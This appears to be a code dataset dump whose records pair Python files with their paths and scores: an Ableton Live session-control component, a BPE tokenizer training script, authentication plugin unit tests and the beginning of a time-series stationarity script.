import Live
from itertools import count
from ...base import EventObject, in_range, product, listens, listens_group
from ..component import Component
from ..control import ButtonControl
from .scene import SceneComponent
class SessionComponent(Component):
u"""
Class encompassing several scenes to cover a defined section of
Live's session. It handles starting and playing clips.
"""
_session_component_ends_initialisation = True
scene_component_type = SceneComponent
managed_select_button = ButtonControl(color=u'Session.Select', pressed_color=u'Session.SelectPressed')
managed_delete_button = ButtonControl(color=u'Session.Delete', pressed_color=u'Session.DeletePressed')
managed_duplicate_button = ButtonControl(color=u'Session.Duplicate', pressed_color=u'Session.DuplicatePressed')
def __init__(self, session_ring = None, auto_name = False, *a, **k):
super(SessionComponent, self).__init__(*a, **k)
assert session_ring is not None
self._session_ring = session_ring
self.__on_offsets_changed.subject = self._session_ring
self._stop_all_button = None
self._stop_track_clip_buttons = None
self._stop_clip_triggered_value = u'Session.StopClipTriggered'
self._stop_clip_value = u'Session.StopClip'
self._stop_clip_disabled_value = u'Session.StopClipDisabled'
self._track_slots = self.register_disconnectable(EventObject())
self._selected_scene = self._create_scene()
self._scenes = [ self._create_scene() for _ in range(self._session_ring.num_scenes) ]
if self._session_component_ends_initialisation:
self._end_initialisation()
if auto_name:
self._auto_name()
self.__on_track_list_changed.subject = self.song
self.__on_scene_list_changed.subject = self.song
self.__on_selected_scene_changed.subject = self.song.view
def _end_initialisation(self):
self.__on_selected_scene_changed()
self._reassign_scenes_and_tracks()
def _create_scene(self):
return self.scene_component_type(parent=self, session_ring=self._session_ring)
def scene(self, index):
assert in_range(index, 0, len(self._scenes))
return self._scenes[index]
def selected_scene(self):
return self._selected_scene
def _auto_name(self):
self.name = u'Session_Control'
self.selected_scene().name = u'Selected_Scene'
for track_index in range(self._session_ring.num_tracks):
clip_slot = self.selected_scene().clip_slot(track_index)
clip_slot.name = u'Selected_Scene_Clip_Slot_%d' % track_index
for scene_index in range(self._session_ring.num_scenes):
scene = self.scene(scene_index)
scene.name = u'Scene_%d' % scene_index
for track_index in range(self._session_ring.num_tracks):
clip_slot = scene.clip_slot(track_index)
clip_slot.name = u'%d_Clip_Slot_%d' % (track_index, scene_index)
def set_stop_all_clips_button(self, button):
self._stop_all_button = button
self.__on_stop_all_value.subject = button
self._update_stop_all_clips_button()
def set_stop_track_clip_buttons(self, buttons):
self._stop_track_clip_buttons = buttons
self.__on_stop_track_value.replace_subjects(buttons or [])
self._update_stop_track_clip_buttons()
def set_managed_select_button(self, button):
self.managed_select_button.set_control_element(button)
self.set_modifier_button(button, u'select')
def set_managed_delete_button(self, button):
self.managed_delete_button.set_control_element(button)
self.set_modifier_button(button, u'delete')
def set_managed_duplicate_button(self, button):
self.managed_duplicate_button.set_control_element(button)
self.set_modifier_button(button, u'duplicate')
def set_modifier_button(self, button, name, clip_slots_only = False):
for y in range(self._session_ring.num_scenes):
scene = self.scene(y)
if not clip_slots_only:
getattr(scene, u'set_{}_button'.format(name))(button)
for x in range(self._session_ring.num_tracks):
getattr(scene.clip_slot(x), u'set_{}_button'.format(name))(button)
def set_clip_launch_buttons(self, buttons):
assert not buttons or buttons.width() == self._session_ring.num_tracks and buttons.height() == self._session_ring.num_scenes
if buttons:
for button, (x, y) in buttons.iterbuttons():
scene = self.scene(y)
slot = scene.clip_slot(x)
slot.set_launch_button(button)
else:
for x, y in product(range(self._session_ring.num_tracks), range(self._session_ring.num_scenes)):
scene = self.scene(y)
slot = scene.clip_slot(x)
slot.set_launch_button(None)
def set_scene_launch_buttons(self, buttons):
num_scenes = self._session_ring.num_scenes
assert not buttons or buttons.width() == num_scenes and buttons.height() == 1 or buttons.height() == num_scenes and buttons.width() == 1
if buttons:
for x, button in enumerate(buttons):
scene = self.scene(x)
scene.set_launch_button(button)
else:
for index in range(self._session_ring.num_scenes):
scene = self.scene(index)
scene.set_launch_button(None)
@listens(u'offset')
def __on_offsets_changed(self, *a):
if self.is_enabled():
self._reassign_scenes_and_tracks()
def _reassign_scenes_and_tracks(self):
self._reassign_tracks()
self._reassign_scenes()
def set_rgb_mode(self, color_palette, color_table, clip_slots_only = False):
u"""
Put the session into rgb mode by providing a color table and a color palette.
color_palette is a dictionary, mapping custom Live colors to MIDI ids. This can be
used to map a color directly to a CC value.
The color_table is a list of tuples, where the first element is a MIDI CC and the
second is the RGB color is represents. The table will be used to find the nearest
matching color for a custom color. The table is used if there is no entry in the
palette.
"""
for y in range(self._session_ring.num_scenes):
scene = self.scene(y)
if not clip_slots_only:
scene.set_color_palette(color_palette)
scene.set_color_table(color_table)
for x in range(self._session_ring.num_tracks):
slot = scene.clip_slot(x)
slot.set_clip_palette(color_palette)
slot.set_clip_rgb_table(color_table)
def update(self):
super(SessionComponent, self).update()
if self.is_enabled():
self._update_stop_track_clip_buttons()
self._update_stop_all_clips_button()
self._reassign_scenes_and_tracks()
def _update_stop_track_clip_buttons(self):
if self.is_enabled():
for index in range(self._session_ring.num_tracks):
self._update_stop_clips_led(index)
@listens(u'scenes')
def __on_scene_list_changed(self):
self._reassign_scenes()
@listens(u'visible_tracks')
def __on_track_list_changed(self):
self._reassign_tracks()
@listens(u'selected_scene')
def __on_selected_scene_changed(self):
if self._selected_scene != None:
self._selected_scene.set_scene(self.song.view.selected_scene)
def _update_stop_all_clips_button(self):
if self.is_enabled():
button = self._stop_all_button
if button:
button.set_light(button.is_pressed())
def _reassign_scenes(self):
scenes = self.song.scenes
for index, scene in enumerate(self._scenes):
scene_index = self._session_ring.scene_offset + index
scene.set_scene(scenes[scene_index] if len(scenes) > scene_index else None)
scene.set_track_offset(self._session_ring.track_offset)
if self._selected_scene != None:
self._selected_scene.set_track_offset(self._session_ring.track_offset)
def _reassign_tracks(self):
tracks_to_use = self._session_ring.tracks_to_use()
tracks = list(map(lambda t: (t if isinstance(t, Live.Track.Track) else None), tracks_to_use))
self.__on_fired_slot_index_changed.replace_subjects(tracks, count())
self.__on_playing_slot_index_changed.replace_subjects(tracks, count())
self._update_stop_all_clips_button()
self._update_stop_track_clip_buttons()
@listens(u'value')
def __on_stop_all_value(self, value):
self._stop_all_value(value)
def _stop_all_value(self, value):
if self.is_enabled():
if value is not 0 or not self._stop_all_button.is_momentary():
self.song.stop_all_clips()
self._update_stop_all_clips_button()
@listens_group(u'value')
def __on_stop_track_value(self, value, button):
if self.is_enabled():
if value is not 0 or not button.is_momentary():
tracks = self._session_ring.tracks_to_use()
track_index = list(self._stop_track_clip_buttons).index(button) + self._session_ring.track_offset
if in_range(track_index, 0, len(tracks)) and tracks[track_index] in self.song.tracks:
tracks[track_index].stop_all_clips()
@listens_group(u'fired_slot_index')
def __on_fired_slot_index_changed(self, track_index):
self._on_fired_slot_index_changed(track_index)
def _on_fired_slot_index_changed(self, track_index):
session_ring = self._session_ring
button_index = track_index - session_ring.track_offset
if in_range(button_index, 0, session_ring.num_tracks):
self._update_stop_clips_led(button_index)
@listens_group(u'playing_slot_index')
def __on_playing_slot_index_changed(self, track_index):
self._on_playing_slot_index_changed(track_index)
def _on_playing_slot_index_changed(self, track_index):
session_ring = self._session_ring
button_index = track_index - session_ring.track_offset
if in_range(button_index, 0, session_ring.num_tracks):
self._update_stop_clips_led(button_index)
def _update_stop_clips_led(self, index):
tracks_to_use = self._session_ring.tracks_to_use()
track_index = index + self._session_ring.track_offset
if self.is_enabled() and self._stop_track_clip_buttons != None and index < len(self._stop_track_clip_buttons):
button = self._stop_track_clip_buttons[index]
if button != None:
value_to_send = None
if track_index < len(tracks_to_use) and tracks_to_use[track_index].clip_slots:
track = tracks_to_use[track_index]
if track.fired_slot_index == -2:
value_to_send = self._stop_clip_triggered_value
elif track.playing_slot_index >= 0:
value_to_send = self._stop_clip_value
else:
value_to_send = self._stop_clip_disabled_value
if value_to_send == None:
button.set_light(False)
elif in_range(value_to_send, 0, 128):
button.send_value(value_to_send)
else:
button.set_light(value_to_send) | ableton/v2/control_surface/components/session.py | from __future__ import absolute_import, print_function, unicode_literals
from builtins import range
import Live
from itertools import count
from ...base import EventObject, in_range, product, listens, listens_group
from ..component import Component
from ..control import ButtonControl
from .scene import SceneComponent
class SessionComponent(Component):
u"""
Class encompassing several scenes to cover a defined section of
Live's session. It handles starting and playing clips.
"""
_session_component_ends_initialisation = True
scene_component_type = SceneComponent
managed_select_button = ButtonControl(color=u'Session.Select', pressed_color=u'Session.SelectPressed')
managed_delete_button = ButtonControl(color=u'Session.Delete', pressed_color=u'Session.DeletePressed')
managed_duplicate_button = ButtonControl(color=u'Session.Duplicate', pressed_color=u'Session.DuplicatePressed')
def __init__(self, session_ring = None, auto_name = False, *a, **k):
super(SessionComponent, self).__init__(*a, **k)
assert session_ring is not None
self._session_ring = session_ring
self.__on_offsets_changed.subject = self._session_ring
self._stop_all_button = None
self._stop_track_clip_buttons = None
self._stop_clip_triggered_value = u'Session.StopClipTriggered'
self._stop_clip_value = u'Session.StopClip'
self._stop_clip_disabled_value = u'Session.StopClipDisabled'
self._track_slots = self.register_disconnectable(EventObject())
self._selected_scene = self._create_scene()
self._scenes = [ self._create_scene() for _ in range(self._session_ring.num_scenes) ]
if self._session_component_ends_initialisation:
self._end_initialisation()
if auto_name:
self._auto_name()
self.__on_track_list_changed.subject = self.song
self.__on_scene_list_changed.subject = self.song
self.__on_selected_scene_changed.subject = self.song.view
def _end_initialisation(self):
self.__on_selected_scene_changed()
self._reassign_scenes_and_tracks()
def _create_scene(self):
return self.scene_component_type(parent=self, session_ring=self._session_ring)
def scene(self, index):
assert in_range(index, 0, len(self._scenes))
return self._scenes[index]
def selected_scene(self):
return self._selected_scene
def _auto_name(self):
self.name = u'Session_Control'
self.selected_scene().name = u'Selected_Scene'
for track_index in range(self._session_ring.num_tracks):
clip_slot = self.selected_scene().clip_slot(track_index)
clip_slot.name = u'Selected_Scene_Clip_Slot_%d' % track_index
for scene_index in range(self._session_ring.num_scenes):
scene = self.scene(scene_index)
scene.name = u'Scene_%d' % scene_index
for track_index in range(self._session_ring.num_tracks):
clip_slot = scene.clip_slot(track_index)
clip_slot.name = u'%d_Clip_Slot_%d' % (track_index, scene_index)
def set_stop_all_clips_button(self, button):
self._stop_all_button = button
self.__on_stop_all_value.subject = button
self._update_stop_all_clips_button()
def set_stop_track_clip_buttons(self, buttons):
self._stop_track_clip_buttons = buttons
self.__on_stop_track_value.replace_subjects(buttons or [])
self._update_stop_track_clip_buttons()
def set_managed_select_button(self, button):
self.managed_select_button.set_control_element(button)
self.set_modifier_button(button, u'select')
def set_managed_delete_button(self, button):
self.managed_delete_button.set_control_element(button)
self.set_modifier_button(button, u'delete')
def set_managed_duplicate_button(self, button):
self.managed_duplicate_button.set_control_element(button)
self.set_modifier_button(button, u'duplicate')
def set_modifier_button(self, button, name, clip_slots_only = False):
for y in range(self._session_ring.num_scenes):
scene = self.scene(y)
if not clip_slots_only:
getattr(scene, u'set_{}_button'.format(name))(button)
for x in range(self._session_ring.num_tracks):
getattr(scene.clip_slot(x), u'set_{}_button'.format(name))(button)
def set_clip_launch_buttons(self, buttons):
assert not buttons or buttons.width() == self._session_ring.num_tracks and buttons.height() == self._session_ring.num_scenes
if buttons:
for button, (x, y) in buttons.iterbuttons():
scene = self.scene(y)
slot = scene.clip_slot(x)
slot.set_launch_button(button)
else:
for x, y in product(range(self._session_ring.num_tracks), range(self._session_ring.num_scenes)):
scene = self.scene(y)
slot = scene.clip_slot(x)
slot.set_launch_button(None)
def set_scene_launch_buttons(self, buttons):
num_scenes = self._session_ring.num_scenes
assert not buttons or buttons.width() == num_scenes and buttons.height() == 1 or buttons.height() == num_scenes and buttons.width() == 1
if buttons:
for x, button in enumerate(buttons):
scene = self.scene(x)
scene.set_launch_button(button)
else:
for index in range(self._session_ring.num_scenes):
scene = self.scene(index)
scene.set_launch_button(None)
@listens(u'offset')
def __on_offsets_changed(self, *a):
if self.is_enabled():
self._reassign_scenes_and_tracks()
def _reassign_scenes_and_tracks(self):
self._reassign_tracks()
self._reassign_scenes()
def set_rgb_mode(self, color_palette, color_table, clip_slots_only = False):
u"""
Put the session into rgb mode by providing a color table and a color palette.
color_palette is a dictionary, mapping custom Live colors to MIDI ids. This can be
used to map a color directly to a CC value.
The color_table is a list of tuples, where the first element is a MIDI CC and the
second is the RGB color is represents. The table will be used to find the nearest
matching color for a custom color. The table is used if there is no entry in the
palette.
"""
for y in range(self._session_ring.num_scenes):
scene = self.scene(y)
if not clip_slots_only:
scene.set_color_palette(color_palette)
scene.set_color_table(color_table)
for x in range(self._session_ring.num_tracks):
slot = scene.clip_slot(x)
slot.set_clip_palette(color_palette)
slot.set_clip_rgb_table(color_table)
def update(self):
super(SessionComponent, self).update()
if self.is_enabled():
self._update_stop_track_clip_buttons()
self._update_stop_all_clips_button()
self._reassign_scenes_and_tracks()
def _update_stop_track_clip_buttons(self):
if self.is_enabled():
for index in range(self._session_ring.num_tracks):
self._update_stop_clips_led(index)
@listens(u'scenes')
def __on_scene_list_changed(self):
self._reassign_scenes()
@listens(u'visible_tracks')
def __on_track_list_changed(self):
self._reassign_tracks()
@listens(u'selected_scene')
def __on_selected_scene_changed(self):
if self._selected_scene != None:
self._selected_scene.set_scene(self.song.view.selected_scene)
def _update_stop_all_clips_button(self):
if self.is_enabled():
button = self._stop_all_button
if button:
button.set_light(button.is_pressed())
def _reassign_scenes(self):
scenes = self.song.scenes
for index, scene in enumerate(self._scenes):
scene_index = self._session_ring.scene_offset + index
scene.set_scene(scenes[scene_index] if len(scenes) > scene_index else None)
scene.set_track_offset(self._session_ring.track_offset)
if self._selected_scene != None:
self._selected_scene.set_track_offset(self._session_ring.track_offset)
def _reassign_tracks(self):
tracks_to_use = self._session_ring.tracks_to_use()
tracks = list(map(lambda t: (t if isinstance(t, Live.Track.Track) else None), tracks_to_use))
self.__on_fired_slot_index_changed.replace_subjects(tracks, count())
self.__on_playing_slot_index_changed.replace_subjects(tracks, count())
self._update_stop_all_clips_button()
self._update_stop_track_clip_buttons()
@listens(u'value')
def __on_stop_all_value(self, value):
self._stop_all_value(value)
def _stop_all_value(self, value):
if self.is_enabled():
if value is not 0 or not self._stop_all_button.is_momentary():
self.song.stop_all_clips()
self._update_stop_all_clips_button()
@listens_group(u'value')
def __on_stop_track_value(self, value, button):
if self.is_enabled():
if value is not 0 or not button.is_momentary():
tracks = self._session_ring.tracks_to_use()
track_index = list(self._stop_track_clip_buttons).index(button) + self._session_ring.track_offset
if in_range(track_index, 0, len(tracks)) and tracks[track_index] in self.song.tracks:
tracks[track_index].stop_all_clips()
@listens_group(u'fired_slot_index')
def __on_fired_slot_index_changed(self, track_index):
self._on_fired_slot_index_changed(track_index)
def _on_fired_slot_index_changed(self, track_index):
session_ring = self._session_ring
button_index = track_index - session_ring.track_offset
if in_range(button_index, 0, session_ring.num_tracks):
self._update_stop_clips_led(button_index)
@listens_group(u'playing_slot_index')
def __on_playing_slot_index_changed(self, track_index):
self._on_playing_slot_index_changed(track_index)
def _on_playing_slot_index_changed(self, track_index):
session_ring = self._session_ring
button_index = track_index - session_ring.track_offset
if in_range(button_index, 0, session_ring.num_tracks):
self._update_stop_clips_led(button_index)
def _update_stop_clips_led(self, index):
tracks_to_use = self._session_ring.tracks_to_use()
track_index = index + self._session_ring.track_offset
if self.is_enabled() and self._stop_track_clip_buttons != None and index < len(self._stop_track_clip_buttons):
button = self._stop_track_clip_buttons[index]
if button != None:
value_to_send = None
if track_index < len(tracks_to_use) and tracks_to_use[track_index].clip_slots:
track = tracks_to_use[track_index]
if track.fired_slot_index == -2:
value_to_send = self._stop_clip_triggered_value
elif track.playing_slot_index >= 0:
value_to_send = self._stop_clip_value
else:
value_to_send = self._stop_clip_disabled_value
if value_to_send == None:
button.set_light(False)
elif in_range(value_to_send, 0, 128):
button.send_value(value_to_send)
else:
button.set_light(value_to_send) | 0.69181 | 0.167695 |
import argparse
import glob
from os.path import join
from loguru import logger
from tokenizers import CharBPETokenizer
"""
The original BPE tokenizer, as proposed in Sennrich, Haddow and Birch, Neural Machine Translation
of Rare Words with Subword Units. ACL 2016
https://arxiv.org/abs/1508.07909
https://github.com/rsennrich/subword-nmt
https://github.com/EdinburghNLP/nematus
BPE algorithm explanation:
BPE first splits the whole sentence intoindividual characters.
The most frequent adjacent pairs of characters are then consecutively
merged until reaching a desired vocabulary size. Subword segmentation is
performed by applying the same merge operations to the test sentence.
Frequent sub-strings will be joined early, resulting in common words
remaining as one unique symbol. Words consisting of rare character
combinations will be split into smaller units - substrings or characters
For example, given a Dictionary with following word frequencies:
```
5 low
2 lower
6 newest
3 widest
```
- a starting Vocabulary with all the characters is initialized:
`{l,o,w,e,r,n,w,s,t,i,d}`
- `es` is the most common 2-byte (two character) subsequence, it appears 9 times, so add it to vocab:
`{l,o,w,e,r,n,w,s,t,i,d, es}`
- `es t` is now the most common subseq, append it to Vocabulary too:
`{l,o,w,e,r,n,w,s,t,i,d, es, est}`
- then `lo` appears 7 times:
`{l,o,w,e,r,n,w,s,t,i,d, es, est, lo}`
- then `lo w`:
`{l,o,w,e,r,n,w,s,t,i,d, es, est, lo, low}`
- continue indefintitely until we reach a pre-defined vocabulary length
Example usage:
python train_char_level_bpe.py --files /Users/flp/Box/Molecular_SysBio/data/paccmann/paccmann_proteomics/uniprot_sprot/uniprot_sprot_100_seq.txt --out /Users/flp/Box/Molecular_SysBio/data/paccmann/paccmann_proteomics/tokenized_uniprot_sprot/tests --vocab_size
Important:
- Adds special end-of-word token (or a suffix) "</w>",
e.g., word `tokenization` becomes [‘to’, ‘ken’, ‘ization</w>’]
- If needed, can limit initial alphabet size with `limit_alphabet: int`
"""
parser = argparse.ArgumentParser()
parser.add_argument(
'--files',
default=None,
metavar='path',
type=str,
required=True,
help='The files to use as training; accept a string in format `"**/*.txt"`'
)
parser.add_argument(
'--out',
# default='./',
type=str,
required=True,
help='Path to the output directory, where the files will be saved'
)
parser.add_argument(
'--name',
default='char-bpe',
type=str,
help='The name of the output vocab files',
)
parser.add_argument(
'--vocab_size',
default=30000,
type=int,
required=True,
help='Vocabulary size',
)
parser.add_argument(
'--limit_alphabet',
default=100,
type=int,
help='The size of alphabet character set (e.g., for English, |alphabet|=26)',
)
args = parser.parse_args()
files = glob.glob(args.files)
if not files:
logger.info(f'File does not exist: {args.files}')
exit(1)
# Initialize an empty tokenizer
# ANY ARGS?
tokenizer = CharBPETokenizer()
# And then train
tokenizer.train(
files,
vocab_size=args.vocab_size,
min_frequency=2,
show_progress=True,
special_tokens=['<unk>'],
suffix='</w>',
limit_alphabet=args.limit_alphabet,
)
# Save the files
tokenizer.save(args.out, args.name)
# Restoring model from learned vocab/merges
tokenizer = CharBPETokenizer(
join(args.out, '{}-vocab.json'.format(args.name)),
join(args.out, '{}-merges.txt'.format(args.name)),
)
# Test encoding
logger.info('Tokens and their ids from CharBPETokenizer with GFP protein sequence: \n MSKGEE LFTGVVPILVELDGDVNGHKFSVSGEGEG DAT')
encoded = tokenizer.encode('MSKGEE LFTGVVPILVELDGDVNGHKFSVSGEGEG DAT')
logger.info(encoded.tokens)
logger.info(encoded.ids)
logger.info('done!') | scripts/train_char_level_bpe.py | import argparse
import glob
from os.path import join
from loguru import logger
from tokenizers import CharBPETokenizer
"""
The original BPE tokenizer, as proposed in Sennrich, Haddow and Birch, Neural Machine Translation
of Rare Words with Subword Units. ACL 2016
https://arxiv.org/abs/1508.07909
https://github.com/rsennrich/subword-nmt
https://github.com/EdinburghNLP/nematus
BPE algorithm explanation:
BPE first splits the whole sentence intoindividual characters.
The most frequent adjacent pairs of characters are then consecutively
merged until reaching a desired vocabulary size. Subword segmentation is
performed by applying the same merge operations to the test sentence.
Frequent sub-strings will be joined early, resulting in common words
remaining as one unique symbol. Words consisting of rare character
combinations will be split into smaller units - substrings or characters
For example, given a Dictionary with following word frequencies:
```
5 low
2 lower
6 newest
3 widest
```
- a starting Vocabulary with all the characters is initialized:
`{l,o,w,e,r,n,w,s,t,i,d}`
- `es` is the most common 2-byte (two character) subsequence, it appears 9 times, so add it to vocab:
`{l,o,w,e,r,n,w,s,t,i,d, es}`
- `es t` is now the most common subseq, append it to Vocabulary too:
`{l,o,w,e,r,n,w,s,t,i,d, es, est}`
- then `lo` appears 7 times:
`{l,o,w,e,r,n,w,s,t,i,d, es, est, lo}`
- then `lo w`:
`{l,o,w,e,r,n,w,s,t,i,d, es, est, lo, low}`
- continue indefintitely until we reach a pre-defined vocabulary length
Example usage:
python train_char_level_bpe.py --files /Users/flp/Box/Molecular_SysBio/data/paccmann/paccmann_proteomics/uniprot_sprot/uniprot_sprot_100_seq.txt --out /Users/flp/Box/Molecular_SysBio/data/paccmann/paccmann_proteomics/tokenized_uniprot_sprot/tests --vocab_size
Important:
- Adds special end-of-word token (or a suffix) "</w>",
e.g., word `tokenization` becomes [‘to’, ‘ken’, ‘ization</w>’]
- If needed, can limit initial alphabet size with `limit_alphabet: int`
"""
parser = argparse.ArgumentParser()
parser.add_argument(
'--files',
default=None,
metavar='path',
type=str,
required=True,
help='The files to use as training; accept a string in format `"**/*.txt"`'
)
parser.add_argument(
'--out',
# default='./',
type=str,
required=True,
help='Path to the output directory, where the files will be saved'
)
parser.add_argument(
'--name',
default='char-bpe',
type=str,
help='The name of the output vocab files',
)
parser.add_argument(
'--vocab_size',
default=30000,
type=int,
required=True,
help='Vocabulary size',
)
parser.add_argument(
'--limit_alphabet',
default=100,
type=int,
help='The size of alphabet character set (e.g., for English, |alphabet|=26)',
)
args = parser.parse_args()
files = glob.glob(args.files)
if not files:
logger.info(f'File does not exist: {args.files}')
exit(1)
# Initialize an empty tokenizer
# ANY ARGS?
tokenizer = CharBPETokenizer()
# And then train
tokenizer.train(
files,
vocab_size=args.vocab_size,
min_frequency=2,
show_progress=True,
special_tokens=['<unk>'],
suffix='</w>',
limit_alphabet=args.limit_alphabet,
)
# Save the files
tokenizer.save(args.out, args.name)
# Restoring model from learned vocab/merges
tokenizer = CharBPETokenizer(
join(args.out, '{}-vocab.json'.format(args.name)),
join(args.out, '{}-merges.txt'.format(args.name)),
)
# Test encoding
logger.info('Tokens and their ids from CharBPETokenizer with GFP protein sequence: \n MSKGEE LFTGVVPILVELDGDVNGHKFSVSGEGEG DAT')
encoded = tokenizer.encode('MSKGEE LFTGVVPILVELDGDVNGHKFSVSGEGEG DAT')
logger.info(encoded.tokens)
logger.info(encoded.ids)
logger.info('done!') | 0.722821 | 0.861596 |
import logging
import unittest
from datetime import datetime, timezone
from unittest.mock import Mock
import bottle
from external.routes.plugins.auth_plugin import AuthPlugin, EDIT_REPORT_PERMISSION
from shared.routes.plugins import InjectionPlugin
class AuthPluginTest(unittest.TestCase):
"""Unit tests for the route authentication and authorization plugin."""
def setUp(self):
"""Override to set up a mock database and install the plugins."""
logging.disable()
self.database = Mock()
self.database.reports_overviews.find_one.return_value = dict(_id="id")
self.database.sessions.find_one.return_value = None
self.success = '{"ok": true}'
self.session = dict(
user="jadoe",
email="<EMAIL>",
session_expiration_datetime=datetime.max.replace(tzinfo=timezone.utc),
)
self.injection_plugin = bottle.install(InjectionPlugin(self.database, "database"))
self.auth_plugin = bottle.install(AuthPlugin())
def tearDown(self):
"""Override to remove the plugins and reset the logging."""
bottle.uninstall(self.auth_plugin)
bottle.uninstall(self.injection_plugin)
logging.disable(logging.NOTSET)
@staticmethod
def route(database): # pylint: disable=unused-argument
"""Route handler with database parameter."""
return dict(ok=True)
def test_route_without_specified_auth(self):
"""Test that the auth plugin will crash."""
route = bottle.Route(bottle.app(), "/", "POST", self.route)
with self.assertRaises(AttributeError):
route.call()
def test_valid_session(self):
"""Test that session ids are authenticated."""
self.database.sessions.find_one.return_value = dict(
session_expiration_datetime=datetime.max.replace(tzinfo=timezone.utc)
)
route = bottle.Route(bottle.app(), "/", "POST", self.route, authentication_required=True)
self.assertEqual(self.success, route.call())
def test_expired_session(self):
"""Test that the session is invalid when it's expired."""
self.database.sessions.find_one.return_value = dict(
session_expiration_datetime=datetime.min.replace(tzinfo=timezone.utc)
)
route = bottle.Route(bottle.app(), "/", "POST", self.route, authentication_required=True)
self.assertEqual(401, route.call().status_code)
def test_missing_session(self):
"""Test that the session is invalid when it's missing."""
route = bottle.Route(bottle.app(), "/", "POST", self.route, authentication_required=True)
self.assertEqual(401, route.call().status_code)
def test_unauthorized_session(self):
"""Test that an unauthorized user cannot post."""
self.database.reports_overviews.find_one.return_value = dict(
_id="id", permissions={EDIT_REPORT_PERMISSION: ["jodoe"]}
)
self.database.sessions.find_one.return_value = self.session
route = bottle.Route(bottle.app(), "/", "POST", self.route, permissions_required=[EDIT_REPORT_PERMISSION])
self.assertEqual(403, route.call().status_code)
def test_post_route_with_permissions_required_when_everyone_has_permission(self):
"""Test that an authenticated user can post if permissions have not been restricted."""
self.database.reports_overviews.find_one.return_value = dict(_id="id", permissions={})
self.database.sessions.find_one.return_value = self.session
route = bottle.Route(bottle.app(), "/", "POST", self.route, permissions_required=[EDIT_REPORT_PERMISSION])
self.assertEqual(self.success, route.call())
def test_post_route_with_permissions_required(self):
"""Test that an authenticated user can post if they have the required permissions."""
self.database.reports_overviews.find_one.return_value = dict(
_id="id", permissions={EDIT_REPORT_PERMISSION: ["jadoe"]}
)
self.database.sessions.find_one.return_value = self.session
route = bottle.Route(bottle.app(), "/", "POST", self.route, permissions_required=[EDIT_REPORT_PERMISSION])
self.assertEqual(self.success, route.call())
def test_post_route_without_authentication_required(self):
"""Test that unauthenticated users can POST if no authentication is required."""
route = bottle.Route(bottle.app(), "/", "POST", self.route, authentication_required=False)
self.assertEqual(self.success, route.call())
def test_get_route_without_authentication_required(self):
"""Test that unauthenticated users can GET if no authentication is required."""
route = bottle.Route(bottle.app(), "/", "GET", self.route, authentication_required=False)
self.assertEqual(self.success, route.call()) | components/server/tests/external/routes/plugins/test_route_auth_plugin.py |
import logging
import unittest
from datetime import datetime, timezone
from unittest.mock import Mock
import bottle
from external.routes.plugins.auth_plugin import AuthPlugin, EDIT_REPORT_PERMISSION
from shared.routes.plugins import InjectionPlugin
class AuthPluginTest(unittest.TestCase):
"""Unit tests for the route authentication and authorization plugin."""
def setUp(self):
"""Override to set up a mock database and install the plugins."""
logging.disable()
self.database = Mock()
self.database.reports_overviews.find_one.return_value = dict(_id="id")
self.database.sessions.find_one.return_value = None
self.success = '{"ok": true}'
self.session = dict(
user="jadoe",
email="<EMAIL>",
session_expiration_datetime=datetime.max.replace(tzinfo=timezone.utc),
)
self.injection_plugin = bottle.install(InjectionPlugin(self.database, "database"))
self.auth_plugin = bottle.install(AuthPlugin())
def tearDown(self):
"""Override to remove the plugins and reset the logging."""
bottle.uninstall(self.auth_plugin)
bottle.uninstall(self.injection_plugin)
logging.disable(logging.NOTSET)
@staticmethod
def route(database): # pylint: disable=unused-argument
"""Route handler with database parameter."""
return dict(ok=True)
def test_route_without_specified_auth(self):
"""Test that the auth plugin will crash."""
route = bottle.Route(bottle.app(), "/", "POST", self.route)
with self.assertRaises(AttributeError):
route.call()
def test_valid_session(self):
"""Test that session ids are authenticated."""
self.database.sessions.find_one.return_value = dict(
session_expiration_datetime=datetime.max.replace(tzinfo=timezone.utc)
)
route = bottle.Route(bottle.app(), "/", "POST", self.route, authentication_required=True)
self.assertEqual(self.success, route.call())
def test_expired_session(self):
"""Test that the session is invalid when it's expired."""
self.database.sessions.find_one.return_value = dict(
session_expiration_datetime=datetime.min.replace(tzinfo=timezone.utc)
)
route = bottle.Route(bottle.app(), "/", "POST", self.route, authentication_required=True)
self.assertEqual(401, route.call().status_code)
def test_missing_session(self):
"""Test that the session is invalid when it's missing."""
route = bottle.Route(bottle.app(), "/", "POST", self.route, authentication_required=True)
self.assertEqual(401, route.call().status_code)
def test_unauthorized_session(self):
"""Test that an unauthorized user cannot post."""
self.database.reports_overviews.find_one.return_value = dict(
_id="id", permissions={EDIT_REPORT_PERMISSION: ["jodoe"]}
)
self.database.sessions.find_one.return_value = self.session
route = bottle.Route(bottle.app(), "/", "POST", self.route, permissions_required=[EDIT_REPORT_PERMISSION])
self.assertEqual(403, route.call().status_code)
def test_post_route_with_permissions_required_when_everyone_has_permission(self):
"""Test that an authenticated user can post if permissions have not been restricted."""
self.database.reports_overviews.find_one.return_value = dict(_id="id", permissions={})
self.database.sessions.find_one.return_value = self.session
route = bottle.Route(bottle.app(), "/", "POST", self.route, permissions_required=[EDIT_REPORT_PERMISSION])
self.assertEqual(self.success, route.call())
def test_post_route_with_permissions_required(self):
"""Test that an authenticated user can post if they have the required permissions."""
self.database.reports_overviews.find_one.return_value = dict(
_id="id", permissions={EDIT_REPORT_PERMISSION: ["jadoe"]}
)
self.database.sessions.find_one.return_value = self.session
route = bottle.Route(bottle.app(), "/", "POST", self.route, permissions_required=[EDIT_REPORT_PERMISSION])
self.assertEqual(self.success, route.call())
def test_post_route_without_authentication_required(self):
"""Test that unauthenticated users can POST if no authentication is required."""
route = bottle.Route(bottle.app(), "/", "POST", self.route, authentication_required=False)
self.assertEqual(self.success, route.call())
def test_get_route_without_authentication_required(self):
"""Test that unauthenticated users can GET if no authentication is required."""
route = bottle.Route(bottle.app(), "/", "GET", self.route, authentication_required=False)
self.assertEqual(self.success, route.call()) | 0.815453 | 0.266435 |
import matplotlib.pyplot as plt
import numpy as np
from scipy import stats
from statsmodels.tsa.stattools import adfuller, grangercausalitytests, kpss
def metrics(data):
print('\nKpss test: ')
# Stationary around a constant
print(kpss(data, regression='c'))
# Stationary around a trend
print(kpss(data, regression='ct'))
print('\nAdfuller test:')
# Constant only
print(adfuller(data, regression='c'))
# Constant trend
print(adfuller(data, regression='ct'))
# Constant, and linear and quadratic trend
print(adfuller(data, regression='ctt'))
def plot(dates, data, title='', ylabel=''):
plt.plot(dates, data)
plt.grid(True)
plt.ylabel(title)
plt.title(ylabel)
plt.show()
def stationarize(timeserie, time_lag=10):
"""
